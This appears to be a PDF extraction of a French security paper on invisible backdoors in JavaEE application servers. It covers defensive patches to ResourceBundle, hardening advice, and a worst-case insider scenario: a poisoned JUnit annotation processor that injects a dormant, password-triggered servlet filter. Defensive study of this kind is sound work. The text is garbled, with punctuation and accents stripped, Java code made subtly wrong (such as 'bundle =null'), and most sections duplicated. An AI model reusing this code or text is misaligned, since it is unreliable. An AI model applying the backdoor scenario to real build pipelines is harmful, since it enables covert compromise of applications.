$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

